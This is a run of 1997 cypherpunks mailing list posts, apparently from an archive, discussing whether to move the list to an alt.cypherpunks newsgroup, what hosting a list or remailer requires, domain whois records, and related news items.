it is not practical to create every single newsgroup a person might want
automatically.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 11 Feb 1997 19:21:08 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120321.TAA05381@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> (Please leave my name in any replies to ensure I see your comments.)
> I talked to Hugh Daniel at the Saturday meeting about the creation of an
> "alt.cypherpunks" unmoderated (of course) newsgroup as a possible
> alternative (or supplement) to cypherpunks@toad.com. Greg Broiles and John
> Gilmore were there for part of the discussion, too.

     Might "we" get wider propigation with something like "talk.issues.crypto"
or "talk.cypherpunks"? 

> Charter for alt.cypherpunks: (suggested)
> "Alt.cypherpunks is for the unmoderated discussion of cryptography and the
> political, social, and economic implications of unrestricted, strong
> readers are strongly advised to learn how to use filters and other tools
> for making virtual anarchies manageable for their own tastes."

     Maybe a pointer to these tools?

> * Disadvantages

	-Mailing lists easily penetrate firewalls, while many places don't 
provide Usenet access. 

	Another possibility would be to create a "private Usenet" setting up
NNTP servers that _only_ talk to each other. This would eventually allow for
the same sort of redundancy that the "regular" usenet offers, provide some of 
the same efficient use of resources, and ease of use (almost) but provide some
protection against spammers & etc. 

	For those who don't understand, this is how it would work (and correct
me if I am wrong): 

	Usenet works by servers exchanging messages with one or more other 
servers it is decentralized and has no central authority (execpt the cabal 
--there is no cabal) inherent in the process. These servers are told _who_
they get their feed from/to, so it should be possible to set up another 
network of Usenet servers just to serve our purposes.

	As part of setting up the servers, they can be configured as to who
they From owner-cypherpunks  Wed Feb 12 08:00:24 1997
Return-Path: owner-cypherpunks
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id IAA22396; Wed, 12 Feb 1997 08:00:24 -0800 (PST)
Message-Id: <199702121600.IAA22396@toad.com>
Date: Wed, 12 Feb 1997 06:56:59 -0800
From: Lucky Green <shamrock@netcom.com>
To: John Young <jya@pipeline.com>
Cc: cypherpunks@toad.com
Subject: Re: whois cypherpunks.org ?
Sender: owner-cypherpunks@toad.com
Precedence: bulk

At 08:04 PM 2/11/97 -0500, John Young wrote:

[Trying whois]

Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the
moderator of the famous bugtraq mailing list.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 18:56:43 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120256.SAA04862@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore wrote:
> A pentium is definitely up to this task.  I've been running it the
> whole time on a slower 40MB SPARCstation-2 (that also runs netnews and
> general computing).  Give it a big /var/spool partition (mine is 60MB)
> because every message will sit in the queue for days (*somebody* on
> the list will have an unreachable name server or MX server until the
> msg times out).  Give it lots of RAM and paging space, since each
> sendmail process takes about 2MB virtual, 1.4MB physical, and you will
> have dozens running at the same time.
> 
> The new version of majordomo (that allows confirmation of
> subscriptions) will help a lot.  It needs a small patch though, to do
> exponential backoff on the lock file, or when you get a flood of
> messages, thirty majordomo processes will burn up the whole machine
> trying and failing to get the lock file.
> 
> You'll need a BIG mailbox for the bounce messages, and someone (or
> some unwritten software) to scan it every day or two and delete the
> lusers whose mailboxes are full or who dumped their account without
> unsubscribing.  The bounce mailbox on toad gets between 1 and 4MB of
> email a day; more when the list is under attack.
> 
> You'll want to run the latest version of BIND on the machine, too,
> since doing DNS name-lookups on a thousand email addresses is expensive.
> You want them all in the in-memory cache on the same machine.  The
> name daemon burns about 7MB virtual, 5MB real RAM once its cache
> gets loaded.
> 
> Make sure that every message sent to the list gets into at least
> two logfiles -- on separate partitions, in case one fills up.  At
> least if you want to have an archive of what's been sent.
> 
> >      I can provide a pentium box running Linux with a T1 connection to
> > MAE-West to host the list, if there is still interest.
> 
> Make sure you are getting "transit" service to the Internet, instead
> of trying to cheap out with "peering" to a few major networks.
> Without transit service ("we'll carry your packets to anywhere even if
> the destination is not on our network") you won't be able to route
> packets to some places on the net.  This will cause mail to those
> subscribers to sit in the queue for days and then bounce.
> 
> The real issue is how willing you are to put your own time into
> dealing with problems.  Not only do things go wrong by themselves, but
> there are malicious assholes in the world who will deliberately make
> trouble for you just because they like to.  Spending a day or two
> cleaning up the mess is just part of the job.  Check your level of
> committment two or three times before taking on the task -- so you
> won't end up getting disgusted after a month or two and putting the
> list's existence into crisis again.  It's not a "set it up and forget
> it" kind of operation.

Listen to it, John is absolutely right. Running a big mailing list is
an incredible commitment and it is important to realize what you are 
getting into.

Another suggestion may be to set sendmail expire option to one day
instead of five so that messages that cannot be delivered would bounce
faster and not clog the queue.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 11 Feb 1997 20:16:46 -0800 (PST)
To: Patrick May <pjm@spe.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702120416.UAA06040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Patrick May wrote:
>      Before doing this, I'd need the answers to a few questions:
> 
>      - Is there still any interest in a cypherpunks mailing list?

yes
 
>      - Is alt.cypherpunks a better alternative?

it is not an alternative, it is a complement. 

i think that alt.cypherpunks will be a failure because all of
the troubles of alt.* hierarchy.

>      - Majordomo can be configured to require confirmation of
>        subscription requests, thus avoiding some attacks.  Is there
>        any simple way to protect against mailloops?  Directly
>        accessing the listname-outgoing alias?

Add X-Loop: header and use procmail to protect against messages
FROM_DAEMON and FROM_MAILER.

>      - Is a pentium up to the task of running a list of this size and
>        volume?

yes, it is the other stuff that's the problem -- memory, connection
speed, etc.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 18:56:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation experiment almost over; "put up or shut up" (fwd)
Message-ID: <199702120256.SAA04844@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 08:30:54 -0800
> From: Alan Olsen <alan@ctrl-alt-del.com>

> >offered nothing in the past but criticism, it's now time to get a
> >bit more real.  What will it be, your money, time, equipment?
> 
> What kind of memory requirements/machine load does the list eat up?  I have a
> machine that may fit this purpose...  (Need to know if I need to upgrade the
> box though.)

A minimum standard for a useable remailer (YMMV):

   486DX(blah)
   16M
   1G IDE
   Mitsumi CD Rom (very widely supported)
   VGA 1M
   NE2000 x 2 (Internet & Intranet)
   High-speed serial ports x 3 (Mouse, Modems x 2) [optional]
   ISDN Bridge (incl. NT-1, no POTS)
   ISDN Line (contact business office)
   Internet Provider (commercial service, nameservice, news, etc.)
   10BaseT Bridge [optional, depends on Bridge]
   Registration of domain name [optional, suggested]
   Linux (WinNT if clueless)

For a full-time commercial feed in Austin, Tx. your talking about:

Startup:

$600 Machine
$100 VGA Monitor
$100 Computer accessories
$400 28.8 Modems ($200 x2)
$150 ISDN install
$1k  ISDN Bridge
$500 ISP setup & init (this is commercial, not hobby)
$100 Initial name registry
$300 UPS

$3,250


Monthlies:

$50  Phones ($25 x2)
$25  Utilities
$75  ISDN
$400 ISP connection

$550

Note:

  *    This machine can't be your personal workstation. It will be
       entirely too busy.

  *    Learn shell, c, Pearl to start.

  *    O'Reilly makes very useful books.

  *    Such a machine will handle from between 100 to 500 accounts
       depending on how you set up your system.

  *    If you have the money, put it in the bandwidth first.

  *    I would very strongly suggest against using your employers
       resources for such activities.

  *    You will want at least one dedicated dial-in, no matter what.
       This is a good place for distinctive ring and a line splitter.
       Consider this when buying the modem, it will raise the price
       of the modem. Also consider the personal 800 numbers that are
       available.

  *    Consider strongly the use of an encrypted file system. While
       they make automated re-boots impossible their security can be
       quite appealing. (This is an issue that somebody who is already
       designing encrypted file systems should look into, how to allow
       automated reboots w/o manual entry of the key(s).)

  *    Anonymous remailer extensions would not be a major resource hog.

  *    If you are going to consider allowing general access by your users
       via dial-in use 10 - 15 users per line per day, assuming no
       enforced quota.

Hope this helps anyone who might be interested in starting up such a beast.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com



When I was a kid, I lived in Pasadena, Tx. just down the street from the
Washburn Tunnel. There was a big sign going from Pasadena to the Houston
side that said "The grass is greener in Pasadena". This sentiment is the
true liberator of the human spirit. Keeping up with the Joneses is burned
into our genes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 18:51:04 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: STE_pup
Message-ID: <199702120251.SAA04696@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:

>Fingerprint readers tend to work regardless if the finger is attached to a
>body or not. All that fingerprint readers will do is increase the damage to
>those relying on ever increasing, but misguided, methods of authentication.
>See the rise in "identity theft" since SSN's began to be used for
>identification.

Oracle claims they've solved the lopped or faked pinkie problem by verifying 
other biometry. One device IDs BO. None invade privacy the snakes hiss.

What next, BS detectors? Nah, that'd kill commerce and law and government
and true love and blind faith in supreme-gold-fool.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 11 Feb 1997 19:21:10 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702120321.TAA05383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

das@razor.engr.sgi.com (Anil Das) writes:
> On Feb 11,  2:42pm, Alan Bostick wrote:
> > new alt.* newsgroups are better
> > received if they don't have top-level names.  Using existing top-level
> > hierarchies is better (e.g. alt.security.cypherpunks or
> > alt.privacy.cypherpunks).
> 
> I agree that alt.privacy.cypherpunks is the best bet, if alt.group
> is the route we go.

This has a number of frige benifits, too. It's lower down in the
alphabetical list, so luser AOL-type people and auto-spam bots are
less likely to reach alt.p* or alt.s* than alt.c*. Also, it seperates
it from alt.cyberpunk and associated groups, thus maybe minimizing
innappropriate x-posts.

The hybrid mailing list/newsgroup system seems to me to be an
excellent setup. It is resilliant to the moderation woes that a
mailing list is vulernable to, and is also resistant to ISPs who don't
carry alt groups. It also provides a set of mail-news gateways for
people who wish to post anonymously to the newsgroup, whaile at the
same time being resistant to commercial spam abuse (why use a
mail-news to spam if it just goes to 1 newsgroup?).

Finally, a newsgroup makes it easy to spread the gospel to the
unwashed masses. Tim May's rants/essays would probably make excellent
usenet memes, and having more usenet people crypto-aware can only help
advance the causes of liberty and privacy. I hereby volunteer to do my
best to handle all the newbie questions.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 11 Feb 1997 19:14:53 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: whois cypherpunks.org ?
Message-ID: <199702120314.TAA05264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


cypherpunks (REMAILER-DOM)
   1819 Woolsey St.
   Berkeley, CA 94703
   Domain Name: REMAILER.NET
   Administrative Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Billing Contact:
      Hughes, Eric  (EH9)  eric@SAC.NET
      (415) 392-0526
   Record last updated on 17-Oct-96.
   Record created on 09-Nov-94.
   Domain servers in listed order:
   FLYING.FISH.COM              140.174.97.13
   NS1.SAC.NET                  208.146.161.2

----------

CypherPunks (CYPHERPUNKS-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.COM
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 14-Sep-95.
   Record created on 14-Sep-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

CypherPunks Group (CYPHERPUNKS3-DOM)
   9705 Standford Road
   Ft. Meade, MD 20755
   Domain Name: CYPHERPUNKS.ORG
   Administrative Contact, Technical Contact, Zone Contact:
      Levy, Elias M.  (EML2)  aleph1@DFW.NET
      619-794-8383 (FAX) (619) 794-8373
   Record last updated on 03-Oct-95.
   Record created on 03-Oct-95.
   Domain servers in listed order:
   NS1.CYBERWORKS.NET           206.170.116.21
   NS2.PARANOIA.COM             207.239.130.25
   WKP.COM                      205.199.64.11

----------

Cypherpunks (ANONYMOUS-DOM)
   PO Box 170608
   San Francisco, CA 94117-0608
   Domain Name: ANONYMOUS.NET
   Administrative Contact, Technical Contact, Zone Contact:
      Gilmore, John  (JG150)  gnu@TOAD.COM
      +1 415 221 6524 (FAX) +1 415 221 7251
   Record last updated on 24-Jun-93.
   Record created on 24-Jun-93.
   Domain servers in listed order:
   CYGNUS.COM                   205.180.230.20
   RTL.CYGNUS.COM               205.180.230.21

----------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moroni <moroni@scranton.com>
Date: Tue, 11 Feb 1997 18:56:18 -0800 (PST)
To: Genocide <gen2600@aracnet.com>
Subject: Re: NSA Rainbow Series.
Message-ID: <199702120256.SAA04850@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


       1-800-688-6115 press 0 or just wait for the operator. My second
order consisting of posters and video has not arrived either. It has been
about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
you order the Rainbow series you will be getting a large box.Their are
something like 30+ booklets in the series.
        There is a set of security posters  that include a Santa
poster.And there is also a video with two films on it (Acess Ins and outs
adb Acess Control).
                    Good luck on your mission Mr. Phelps,
                         moroni




On Thu, 30 Jan 1997, Genocide wrote:

> Date: Thu, 30 Jan 1997 12:42:08 -0800 (PST)
> From: Genocide <gen2600@aracnet.com>
> To: Cypherpunks Mailing List <cypherpunks@toad.com>
> Subject: NSA Rainbow Series.
> 
> 
> 	A while back someone posted the 1-800 number for the NSA to call
> in and get the Rainbow series delivered.... well, I called and put in an
> order and it never came, I need to call them again... I don't have the
> phone numbere number anymore...does anyone have it? Can someone
> email me the number again?
> 
> Genocide
> Head of the Genocide2600 Group
> 
> 
> ============================================================================
> 		   **Coming soon! www.Genocide2600.com!
>          ____________________
>   *---===|                  |===---*
>   *---===|     Genocide     |===---*     "You can be a king or a street
>   *---===|       2600       |===---*   sweeper, but everyone dances with the
>   *---===|__________________|===---*              Grim Reaper."
>                                        
> Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600
> 
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 	It is by caffeine alone that I set my mind in motion.
> 	It is by the Mountain Dew that the thoughts acquire speed,
> 	the lips acquire stains, the stains become a warning.
> 	It is by caffeine alone that I set my mind in motion.
> ================================================================================
> 
> 
> 
















       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
       x   No success can compensate for failure in the home.  x
       x                                                       x
       xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 11 Feb 1997 22:20:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: http:--cnnfn.com-digitaljam-wires-9702-11-hackers_wg-
Message-ID: <199702120620.WAA07597@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Click here to download the shareware YOU want at ZDNet [INLINE]
   Digital Jam hackers graphic 
   Hackers victimize firms
   
   
   Experts tell House panel breaking into networks is too simple
   
   
   February 11, 1997: 6:17 p.m. ET
   
   
   [INLINE] 
   
   
   Hackers and Feds in Vegas - July 31, 1996
   
   
   Internet firms make hacking pay - April 12, 1996
   
   WASHINGTON (Reuter) -- Hackers are finding it easier to break into
   computer networks and steal money, partly because companies are
   reluctant to admit that they are vulnerable, security experts said
   Tuesday.
   [INLINE] "If I want to steal money a computer is a much better tool
   than a handgun," Daniel Geer, engineering director for Open Market,
   Inc., told a House of Representatives technology subcommittee hearing
   on computer security. "They start out stealing $1,000 a day and figure
   they can get away with $2,000 a day and then they get greedy and hit
   some figure which sets off alarm bells."
   [INLINE] A panel of experts assembled by the subcommittee said many
   companies refuse to report breaches in their security because they
   want to avoid negative publicity and embarrassment.
   [INLINE] "Most computer crimes are not reported," Eugene Spafford of
   Purdue University told the panel. He estimated losses run into
   "hundreds of millions of dollars" but said no one really knows since
   so much goes unreported.
   [INLINE] Daniel Farmer, a security consultant, said penetrating a
   computer system is relatively easy. "Just using simple tests, I could
   break into two-thirds of the systems I tried," he said, adding that he
   could easily raise that figure to three-quarters if he wanted.
   [INLINE] Farmer said that during his tests he even discovered a
   problem with the White House World Wide Web site and told the system
   manager about it. He said he never received a reply.
   [INLINE] "Defensive programs have been overtaken by offensive
   programs" developed by hackers, he said.
   [INLINE] Spafford said law enforcement has kept pace with advances
   made by hackers who are able essentially to take over entire networks
   and run them by remote control.
   [INLINE] In addition to banks and corporations, the experts said,
   government secrets can be stolen and used to threaten national
   security. They cited recent computer network tampering at the Justice
   Department and the CIA.
   [INLINE] A General Accounting Office study recently found that there
   were 250,000 "hits" aimed at the Defense Department's computer
   networks last year and 65 percent were successful. Link to top 
   
   
   
   home | digitaljam | contents | search | stock quotes | help
   
   Copyright 1997 Reuters. All rights reserved. This material may not be
   published, broadcast, rewritten, or redistributed.
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 11 Feb 1997 18:54:18 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: NETLINK_IPSEC
Message-ID: <199702120254.SAA04773@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

> Has anyone tried IPSEC with the 2.1.x kernels?  Are there a logcation that
> describes the differences between 2.0.x and 2.1.x?  (I have not been able to
> find one...)  Then again, I have yet to find a list of what was fixed from
> kernel to kernel...  (Probibly in some directory of the tar file...)


Source 1:  ftp://ftp.shout.net/pub/users/mec/kcs

Source 2:  The patch files.  :-)


Regards,

Bryce, not a kernel hacker

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

iQB1AwUBMwDzRUjbHy8sKZitAQE5OQL/X/Uv6oIJTQqWsVzRVTF8slnMBZa9sByj
ld4mHGvfn7lwQXmdWk7OOngRWum38ZysjRxRk7R5OtULhRsUxRjIe2FhTXFn3v/O
nKxHOTmbbwvz/flovkg7cUFeIk/7iCEl
=ucy1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 08:00:20 -0800 (PST)
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: New group
Message-ID: <199702121600.IAA22395@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley wrote:
> Well despite the obvious problems of propogation I thought it was time
> someone actually did something to get us a new home, even if it`s only
> temporary. So I have created alt.cypherpunks... See you all over on
> usenet!...

I pressed the URL alt.cypherpunks and my Netscape server said
"no such thing" or words to that effect.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 12 Feb 1997 07:58:03 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Germany Versus Scientology
Message-ID: <199702121558.HAA22359@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> Evil se7en <se7en@dis.org> writes:
> > I have posted a rather lengthy story about Germany's war against the
> > Scientologists. It was long enough to preclude mailing it directly to the
> > lists, so I have put it on my web site. You may find it at:

> Heh, the top German Gov't anti-$cientoligist:
> "The state is obliged to protect its citizens from totalitarian
>  organizations."
> I just love this whole thing. It's like two neighborhood bullies going
> at it in the school yard. It doesn't matter who wins, as long as it's
> long and bloody.

If it were "just bullies", we could all sleep easier at night.
Alas, this is the next-generation manifestation of the anti-anti-
Holocaust laws that have been in place for 40-50 years in Germany.

There must be other countries with strong legal traditions similar
to this one.  Makes the picture much more complex.  And don't forget,
the conditions of Scientology's new tax exempt status are still secret.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 12 Feb 1997 13:56:35 -0800 (PST)
To: Greg Broiles <ichudov@algebra.com>
Subject: Re: List for discussing many majordomos
Message-ID: <199702122156.NAA06413@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:46 PM -0800 2/11/97, Greg Broiles wrote:

>At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote:
>
>>We can coordinate our efforts. Actually, we can even have a mini
>>mailing list for people who want to participate in the distributed
>>cypherpunks experiment. If there is any interest, I can create such
>>a list.
>
>Yes, this is a good idea. One of the proponents of the "many majordomos"
>project apparently has plans to impose his own ideas about intellectual
>property on the project, and this seems like a pretty serious thing for a
>setup that's allegedly going to prevent censorship. We need a place to
>discuss this.

I've noticed the same thing, and this is part of why I'm so skeptical of
the "many majordomos" notion. Some of the proponents have their own notions
of who is fit to be in their system, and which topics are appropriate.

If alt.cypherpunks gets wide propagation, I expect that'll be where I post
the bulk of my stuff.

By the way, several people have stepped forward to offer to host "the list"
(?) on their Linux boxes, or spare CPU cycles they have somewhere. It's
important that such offers be weighed carefully in terms of how serious the
commitment is, and how long the service might last.

(For you old-timers, we wouldn't want to have a repeat of the situation
where a remailer went down because "I took my laptop with me on vacation to
Spain.")

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:56:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Network of majordomos (fwd)
Message-ID: <199702121556.HAA22325@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 13:09:22 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Network of majordomos
> 
> I still think you're just rediscovering Usenet technology. Instead of
> installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if
> you don't like alt.cypherpunks, you could simply start your own top-level
> cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're
> an evil CIA brain-stealing censor) so that cpunks at large could connect with
> newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks
> could do this (instead of using Majordomo) locally, connecting to each other
> to achieve wide propagation and low latency.
> 
> And, if you must, run mail-to-news gateway(s) which send the newsgroup to
> people who want it as E-mail.
> 
> Usenet technology does exactly what you're describing: it's a distributed
> database of messages designed to facilitate each server getting its own copy
> of every message, and holding it locally for distribution to interested
> readers. Other people have been kind enough to write, debug, and document the
> software - all you have to do is install it. This could be running tonight. 

Did you get it running last nite Greg? When do you expect to be able to
handle traffic?

                                                   Jim Choate
                                                   CyberTects
                                                   ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 12 Feb 1997 07:59:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702121559.HAA22376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 11 Feb 1997 11:48:05 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks"

> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
> IBM, will tolerate such things as postings of dumpster divings at Mykotronx
> and RSADSI, of deliberate slams against Tivoli products (a la the case John
> Gilmore referred to this morning), postings about assassination markets,
> and so on.

Whoah Nelly. Tivoli - IBM has NOTHING to do with either my actions or
those of anyone else involved in this. Where exactly did you get this
information? It certainly hasn't come across any cpunks postings that I
have seen.

Check your facts bud.

                                                        Jim Choate
                                                        CyberTects
                                                        (not Tivoli -IBM)
                                                        ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 12 Feb 1997 12:57:49 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Cypherpunks Mailing List
Message-ID: <199702122057.MAA04638@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Gilmore
I know that this list has become something of a dead albatross with you, but
I was wondering if you would be willing to do the whole of us another favor.

As you have stated that this list will no longer reside on your machine any
longer.

And as several people have put forward thier own machines upon which to host
this forum in the future.

And as there are people who, though not currently subscribed, know about the
list and may wish to subscribe to the list in the future.

Could you please maintain at least the semblence of a list on your machine.
Not the actual list, but a pointer triggered by a post or majordomo request
concerning cypherpunks.  In this way, persons not currently subscribed but
knowledgeable about the list can find it in the future.

Such a system should be easy to set up, given that you probably already have
autoresponder bots in your hard drive, and would be a great service.

Would you please rig such a system after your deadline in place of the list
to point to which ever system currently has the most alternate traffic?
This would only need to be an interim measure as after a reasonably short
length of time people would get the idea that the list has moved.

Thank you for entertaining this request.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lile Elam <elam@art.net>
Date: Wed, 12 Feb 1997 12:58:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: House Science Subcommittee...
Message-ID: <199702122058.MAA04651@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks,

I am looking for more info on the ongoing House Science subcommittee
which is about computer technology and national security. I heard they
have folks talking about encryption and why it's important to use
technology and not legislation to protect people's privacy...

Theres a short article in the nando.net paper today about this 
committee at URL: 

   http://www.nando.net/newsroom/ntn/info/021197/info5_430.html

Dan Farmer talked yesterday...

thanks,

-lile






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arley Carter <ac@twinds.com>
Date: Wed, 12 Feb 1997 12:56:38 -0800 (PST)
To: "Robert A. Hettinga" <rah@shipwright.com>
Subject: Re: alt.cypherpunks lives! was Re: New group
Message-ID: <199702122056.MAA04548@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Robert A. Hettinga wrote:

> It seems this alt.cypherpunks thing was a lot easier than it looks.
> 
> Either that, or I have a clueful newsadmin. :-)
> 
The only clueful newsadmins are ex-newsadmins. :-)

Cheers:
-arc

Arley Carter
Tradewinds Technologies, Inc.
Winston-Salem, NC  USA
email: ac@twinds.com
www: http://www.twinds.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 12 Feb 1997 12:58:59 -0800 (PST)
To: tcmay@got.net
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <199702122058.MAA04672@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote:
> >If the people decide for creation of a new USENET newsgroup,
> >we need to think very hard about actually moving it to a different
> >hierarchy from alt.*. I would propose comp.org.cypherpunks,
> >comp.cypherpunks, sci.crypt.cypherpunks or something like that.
> >
> >A comp.* or sci.* newsgroup, if created, has the following advantages
> >over an alt.* newsgroup:
> >
> >1) There is usually less spam in sci.* or comp.*
> >2) There are virtually no completely irrelevant flamewars
> >3) The propagation will be a lot better
> >4) More people will be able to read it because of the issue of providers
> >   not carrying alt.*.
> >
> >I see nothing that would make a sci.* or comp.* newsgroup  worse than
> >alt.* newsgroup.
> 
> Sure, and this has come up in every past discussion of creating
> "alt.cypherpunks."
> 
> But the creation of alt.cypherpunks is _easy_, and needs little permission
> or support, whereas the creation of "soc.culture.cypherpunks" or whatever
> takes work, requires a vote, blah blah blah. And so it never gets off the
> ground.
> 
> (Nor is it clear to me, and perhaps not to others, that it belongs in the
> the various places Igor mentioned. Comp.org.cypherpunks probably is the
> best fit, but then many would cite the "comp" part to try to insist that
> only _computer_ topics be discussed. Likewise, the "soc" domain would skew
> discussion...etc. "Alt" has the nice advantage of explicitly not be part of
> sci, or comp, or soc, or even talk.)
> 
> Since posting my comments I've just seen the proposal that tivoli may host
> a list. Fine with me. But I wonder how long Tivoli and its parent company,
